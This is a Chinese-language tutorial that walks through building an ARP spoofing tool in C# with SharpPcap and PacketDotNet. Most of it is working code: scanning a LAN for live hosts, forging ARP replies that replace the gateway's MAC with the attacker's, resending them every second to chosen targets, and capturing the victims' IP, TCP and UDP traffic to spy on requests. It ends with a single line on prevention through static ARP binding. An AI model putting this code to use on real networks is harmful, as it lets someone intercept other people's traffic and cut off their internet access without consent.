ARP作用
学到一点网络的都知道，ARP本身用于IP地址和MAC地址的转换，主要是在七层网络协议中，网络层之下就是使用MAC地址进行通信了，这样的设计本身也是底层可以无关上层通讯协议的变化而变化，而提供一个统一的接口。比如局域网中的A主机和B主机，如果A主机的ARP缓存中有B主机的MAC地址，则直接发送数据到对应MAC地址，没有则通过发送ARP广播数据包的方式，根据回应来更新ARP缓存。

ARP欺骗原理
创建一个arp包，将网关ip地址和错误的网关mac地址发送给目标主机，让主机更新错误的mac-ip地址映射到缓存中。

工具
开源的.net arp库: SharpPcap,PacketDotNet
项目中导入：

<PackageReference Include="PacketDotNet" Version="1.4.7" />
<PackageReference Include="SharpPcap" Version="6.2.5" />

实战
1.获取本机所有的网络设备

LibPcapLiveDeviceList.Instance

2.获取对应设备的ip和mac地址,以及网关ip

foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.AF_INET_AF_INET6)
    {
        //ipv4地址
        if (address.Addr.ipAddress.AddressFamily == AddressFamily.InterNetwork)
        {
            LocalIp = address.Addr.ipAddress;
            break;
        }
    }
}
// 堆代码 duidaima.com
foreach (var address in LibPcapLiveDevice.Addresses)
{
    if (address.Addr.type == Sockaddr.AddressTypes.HARDWARE)
    {
        LocalMac = address.Addr.hardwareAddress; // 本机MAC
    }
}

var gw = LibPcapLiveDevice.Interface.GatewayAddresses; // 网关IP
//ipv4的gateway
GatewayIp = gw?.FirstOrDefault(x => x.AddressFamily == AddressFamily.InterNetwork);

3.获取网关mac地址
通过发送arp包到网关，获取响应包，从响应包中获取mac地址。
1).创建arp包

var ethernetPacket = new EthernetPacket(localMac, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetType.Arp);
var arpPacket = new ArpPacket(ArpOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), destinationIP, localMac, localIP);
ethernetPacket.PayloadPacket = arpPacket;

2).发送arp包到网关，并且等待下一个回复包。

LibPcapLiveDevice.Open(DeviceModes.Promiscuous, 20);
LibPcapLiveDevice.Filter = arpFilter;
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
ArpPacket arpPacket = null;
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(request);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)//是否是一个arp包
        {
            continue;
        }

        if (arpPacket.SenderProtocolAddress.Equals(destIP))
        {
            break;
        }
    }
}

// free the device
LibPcapLiveDevice.Close();
return arpPacket?.SenderHardwareAddress;

4.扫描局域网内活动ip和mac地址
1).设置扫描的ip区间，生成每个ip的arp请求包

var arpPackets = new Packet[targetIPList.Count];
for (int i = 0; i < arpPackets.Length; ++i)
{
    arpPackets[i] = BuildRequest(targetIPList[i], LocalMac, LocalIp);
}

2).发送arp包到各个ip，如果回复了则在线，超时则认为不活动

if (_cancellationTokenSource.IsCancellationRequested)
{
    break;
}
var lastRequestTime = DateTime.FromBinary(0);
var requestInterval = TimeSpan.FromMilliseconds(200);
var timeoutDateTime = DateTime.Now + _timeout;
while (DateTime.Now < timeoutDateTime)
{
    if (_cancellationTokenSource.IsCancellationRequested)
    {
        break;
    }

    if (requestInterval < (DateTime.Now - lastRequestTime))
    {
        LibPcapLiveDevice.SendPacket(arpPackets[i]);
        lastRequestTime = DateTime.Now;
    }

    if (LibPcapLiveDevice.GetNextPacket(out var packet) > 0)
    {
        if (packet.Device.LinkType != LinkLayers.Ethernet)
        {
            continue;
        }
        var pack = Packet.ParsePacket(packet.Device.LinkType, packet.Data.ToArray());
        var arpPacket = pack.Extract<ArpPacket>();
        if (arpPacket == null)
        {
            continue;
        }

        //回复的arp包并且是我们请求的ip地址
        if (arpPacket.SenderProtocolAddress.Equals(targetIPList[i]))
        {
            Application.Current.Dispatcher.Invoke(() =>
            {
                ///增加到IPlist中
                Computers.Add(new Computer()
                {
                    IPAddress = arpPacket.SenderProtocolAddress.ToString(),
                    MacAddress = arpPacket.SenderHardwareAddress?.ToString(),
                });
            });

            break;
        }
    }
}

5.指定ip/ips攻击
攻击包就不能创建请求包， 应该伪造一个来自网关的响应包，从而将网关错误的mac地址更新到目标主机的缓存中。
1).创建错误的响应包

 private Packet BuildResponse(IPAddress destIP, PhysicalAddress destMac, IPAddress senderIP, PhysicalAddress senderMac)
{
    var ethernetPacket = new EthernetPacket(senderMac, destMac, EthernetType.Arp);
    var arpPacket = new ArpPacket(ArpOperation.Response, destMac, destIP, senderMac, senderIP);
    ethernetPacket.PayloadPacket = arpPacket;
    return ethernetPacket;
}

调用创建arp响应包，但是可以看到最后一个mac地址，应该是网关的mac地址，我们替换成了自己本地mac地址。

BuildResponse(IPAddress.Parse(compute.IPAddress), PhysicalAddress.Parse(compute.MacAddress), GatewayIp, LocalMac);

2).直接以1000ms的间隔轮询发送响应包到目标主机

var aTask = Task.Run(async () =>
{
    while (true)
    {
        if (_cancellationTokenSource1.IsCancellationRequested)
        {
            break;
        }
        try
        {
            LibPcapLiveDevice.SendPacket(packet);
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.Message);
        }

        await Task.Delay(1000);
    }
    LibPcapLiveDevice.Close();
}, _cancellationTokenSource1.Token);

6.获取网络数据包
此时的被攻击的电脑，由于它的网关对应的MAC地址被我们替换成了自己电脑的MAC,所以原本通过网关发送的数据包，都会发送到我们电脑上来，我们不做任何处理就会导致电脑无法上网，我们可以通过监听网卡查看来自该电脑的数据包，从而窥探一些请求。

/// <summary>
/// 监听到攻击的网卡收到的数据包
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void OnPacketArrival(object sender, PacketCapture e)
{
    try
    {
        var device = sender as LibPcapLiveDevice;
        var packet = Packet.ParsePacket(e.Device.LinkType, e.Data.ToArray());
        if (packet != null)
        {
            if (packet is EthernetPacket ethernetPacket) //数据包是以太网数据
            {
                var targetComputer = ArpAttackComputers.FirstOrDefault(x => x.MacAddress == ethernetPacket.SourceHardwareAddress.ToString());

                if (targetComputer != null)
                {
                    var ipPacket = ethernetPacket.Extract<IPPacket>();
                    if (ipPacket != null)
                    {
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.SourceIpAddress = ipPacket.SourceAddress.ToString();
                        packetViewModel.TargetIpAddress = ipPacket.DestinationAddress.ToString();

                        var udpPacket = ipPacket.Extract<UdpPacket>();
                        var tcpPacket = ipPacket.Extract<TcpPacket>();
                        packetViewModel.Type = "IP";

                        if (udpPacket != null)
                        {
                            packetViewModel.SourcePort = udpPacket.SourcePort;
                            packetViewModel.TargetPort = udpPacket.DestinationPort;
                            packetViewModel.Type = "UDP";
                        }

                        if (tcpPacket != null)
                        {
                            packetViewModel.SourcePort = tcpPacket.SourcePort;
                            packetViewModel.TargetPort = tcpPacket.DestinationPort;
                            packetViewModel.Type = "TCP";
                        }

                        targetComputer.AddPacket(packetViewModel);
                    }
                    else
                    {
                        ///mac地址没啥好记录的都知道了
                        var packetViewModel = new PacketViewModel();
                        packetViewModel.Type = "以太网";
                        targetComputer.AddPacket(packetViewModel);
                    }
                }
            }
        }
    }
    catch (Exception) 
    {
    }
}

我们解析了IP数据包，TCP以及UDP包。
工具页面

如何预防?
一般只需要本地将网关和MAC地址静态绑定即可。